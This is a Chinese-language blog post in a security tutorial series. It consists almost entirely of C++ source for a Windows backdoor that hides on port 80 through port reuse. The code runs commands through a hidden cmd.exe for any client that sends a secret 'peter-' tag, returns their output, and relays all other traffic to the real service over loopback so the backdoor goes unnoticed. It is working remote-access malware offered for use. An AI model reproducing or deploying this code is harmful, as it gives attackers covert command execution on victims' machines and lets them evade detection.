安全之路 —— 利用端口复用技术隐藏后门端口

网友投稿 849 2022-11-15

安全之路 —— 利用端口复用技术隐藏后门端口

安全之路 —— 利用端口复用技术隐藏后门端口

简介

前面我们介绍到我们可以用进程注入的方法,借用其他应用的端口收发信息,从而达到穿墙的效果,那么今天介绍一种新的方法,叫做端口复用技术,他能够与其他应用绑定同一个端口,但同时进行端口复用的程序会接管之前程序的信息接受权,所以我们在复用端口后,要对非后门信息通过127.0.0.1本机回环地址进行消息转发。

C++代码样例

///////////////////////////////////////////// FileName : ReUseSocket.cpp// Creator : PeterZ1997// Date : 2018-5-31 17:54// Comment : 端口复用后门(单管道)// Editor : Visual Studio 2017////////////////////////////////////////////***************************************************************//* 注:WSASocket初始化的Socket无法通过setsockopt函数设置接收超时 *//***************************************************************/#include #include #include #include #include #include #include #include #pragma comment(lib, "ws2_32")using namespace std;#pragma once#define MAX_COUNT 255 //字符串最大长度#define MAX_CONN_COUNT 1024 //最大连接数typedef struct ThreadParam { //SocketProc多线程结构体 SOCKET sClient; sockaddr_in addr;}tP;const DWORD dwPort = 80; //端口号const CHAR szTagContent[MAX_COUNT] = "peter-"; //连接标识const DWORD dwTagLength = (size_t)strlen(szTagContent); // 连接标识长度/** * @brief 字符串切片 * @param str1 源字符串 * @param str2 结果字符串 * @param dwBeginCount 数组下标起始值 * @paramVOID StringCut(LPCSTR str1, LPSTR str2, DWORD dwBeginCount, DWORD dwEndCount){ if (strlen(str1) > MAX_COUNT || dwBeginCount >= dwEndCount || dwBeginCount >= 255 || dwEndCount > 255) { return; } for (DWORD i = dwBeginCount, j = 0; i < dwEndCount, j < MAX_COUNT; i++, j++) { str2[j] = str1[i]; } return;}/** * @brief 管道数据监控 * @param sClient 客户端Socket对象 * @paramVOID DataMonitor(SOCKET sClient, HANDLE hOutputPipe){ DWORD dwTotalAvail = 0; DWORD dwReadLength = 0; CHAR pipeBuffer[MAX_COUNT*MAX_COUNT] = "\0"; ReadFile(hOutputPipe, pipeBuffer, sizeof(pipeBuffer), &dwReadLength, NULL); send(sClient, pipeBuffer, (size_t)strlen(pipeBuffer), 0); ZeroMemory(pipeBuffer, sizeof(pipeBuffer)); return;}/** * @brief 打开Shell * @param sClient 客户端Socket对象 * @paramVOID StartShell(SOCKET sClient, LPCSTR szRecvBuffer){ HANDLE hInputPipe, outputPipe; CHAR szCmdLine[MAX_COUNT] = "\0"; CHAR szSendData[MAX_COUNT] = "\0"; if (strlen(szRecvBuffer) <= dwTagLength) { send(sClient, "None", 5, 0); return; } StringCut(szRecvBuffer, szCmdLine, dwTagLength, (size_t)strlen(szRecvBuffer)); SECURITY_ATTRIBUTES sa; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; CreatePipe(&outputPipe, &hInputPipe, &sa, 0); Sleep(200); STARTUPINFO si; PROCESS_INFORMATION pi; GetStartupInfo(&si); si.hStdError = hInputPipe; si.hStdOutput = hInputPipe; si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; GetSystemDirectory(szSendData, sizeof(szSendData)); StringCchCat(szSendData, sizeof(szSendData), "\\cmd.exe /c "); StringCchCat(szSendData, sizeof(szSendData), szCmdLine); CreateProcess(NULL, szSendData, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi); WaitForSingleObject(pi.hProcess, 10000); //最迟等待10秒后返回,防止命令无回显情况发生 DataMonitor(sClient, outputPipe); return;}/** * @brief 客户端Socket处理 * @paramDWORD WINAPI SocketProc(LPVOID lpParam){ SOCKET sClient = ((tP*)lpParam)->sClient; CHAR szRecvBuffer[MAX_COUNT * 10] = "\0"; SOCKET sNative; sockaddr_in saiNativeAddr; CHAR szTip[] = "\r\nPeterBD>"; struct timeval optNativeValue; saiNativeAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); saiNativeAddr.sin_family = AF_INET; saiNativeAddr.sin_port = htons(dwPort); sNative = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sNative == INVALID_SOCKET) { closesocket(sClient); return 0; } optNativeValue.tv_sec = 1; optNativeValue.tv_usec = 0; if (setsockopt(sNative, SOL_SOCKET, SO_RCVTIMEO, (CHAR*)&optNativeValue, sizeof(optNativeValue)) == SOCKET_ERROR) //设置接收超时 { closesocket(sClient); closesocket(sNative); return 0; } if (connect(sNative, (struct sockaddr*)&saiNativeAddr, sizeof(saiNativeAddr)) == SOCKET_ERROR && WSAGetLastError() != WSAECONNREFUSED) //防止对方为打开复用目标端口,导致无法数据转发 { closesocket(sClient); closesocket(sNative); return 0; } while (TRUE) { send(sClient, szTip, (size_t)strlen(szTip), 0); ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer)); DWORD ret = recv(sClient, szRecvBuffer, sizeof(szRecvBuffer), 0); if (ret == SOCKET_ERROR) { break; } if (strncmp(szRecvBuffer, szTagContent, dwTagLength) == 0) { StartShell(sClient, szRecvBuffer); continue; } send(sNative, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0); ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer)); recv(sNative, szRecvBuffer, sizeof(szRecvBuffer), 0); if (strlen(szRecvBuffer)) { send(sClient, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0); } } closesocket(sClient); closesocket(sNative); return 0;}/** * @briefint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){ WSADATA wsd; SOCKET sServer; sockaddr_in saiServerAddr; in_addr iaTempAddr; tP *tp[MAX_CONN_COUNT]; HANDLE hThreadPool[MAX_CONN_COUNT]; int connCount = 0; int s_ClientAddrSize = 0; CHAR szHostName[MAX_COUNT] = "\0"; if (WSAStartup(0x0202, &wsd)) { return 0; } gethostname(szHostName, sizeof(szHostName)); HOSTENT *hostInfo = gethostbyname(szHostName); saiServerAddr.sin_family = AF_INET; saiServerAddr.sin_port = htons(dwPort); memcpy(&iaTempAddr.S_un.S_addr, hostInfo->h_addr_list[0], hostInfo->h_length); //监听第一张网卡ip,如果必要的话,可以切换网卡或自定义本地ip saiServerAddr.sin_addr.S_un.S_addr = iaTempAddr.S_un.S_addr; sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, NULL, 0); int dwOptVal = 1; if (setsockopt(sServer, SOL_SOCKET, SO_REUSEADDR, (CHAR*)&dwOptVal, sizeof(dwOptVal)) == SOCKET_ERROR) //设置为端口复用模式 { return 0; } if (bind(sServer, (struct sockaddr*)&saiServerAddr, sizeof(saiServerAddr)) == SOCKET_ERROR) { return 0; } if (listen(sServer, SOMAXCONN) == SOCKET_ERROR) { return 0; } while (connCount < MAX_CONN_COUNT) { tp[connCount] = (tP*)malloc(sizeof(tP)); s_ClientAddrSize = sizeof(tp[connCount]->addr); tp[connCount]->sClient = accept(sServer, (struct sockaddr*)&(tp[connCount]->addr), &s_ClientAddrSize); hThreadPool[connCount] = CreateThread(NULL, 0, SocketProc, (LPVOID)tp[connCount], 0, NULL); connCount++; } WaitForMultipleObjects(connCount, hThreadPool, true, INFINITE); for (int i = 0; i < connCount; i++) { CloseHandle(hThreadPool[i]); closesocket(tp[i]->sClient); } closesocket(sServer); WSACleanup(); ExitProcess(0); return 0;}

版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:安全之路 —— 利用SVCHost.exe系统服务实现后门自启动
下一篇:如何让c语言使用结构体近似模拟c++中的类
相关文章

 发表评论

暂时没有评论,来抢沙发吧~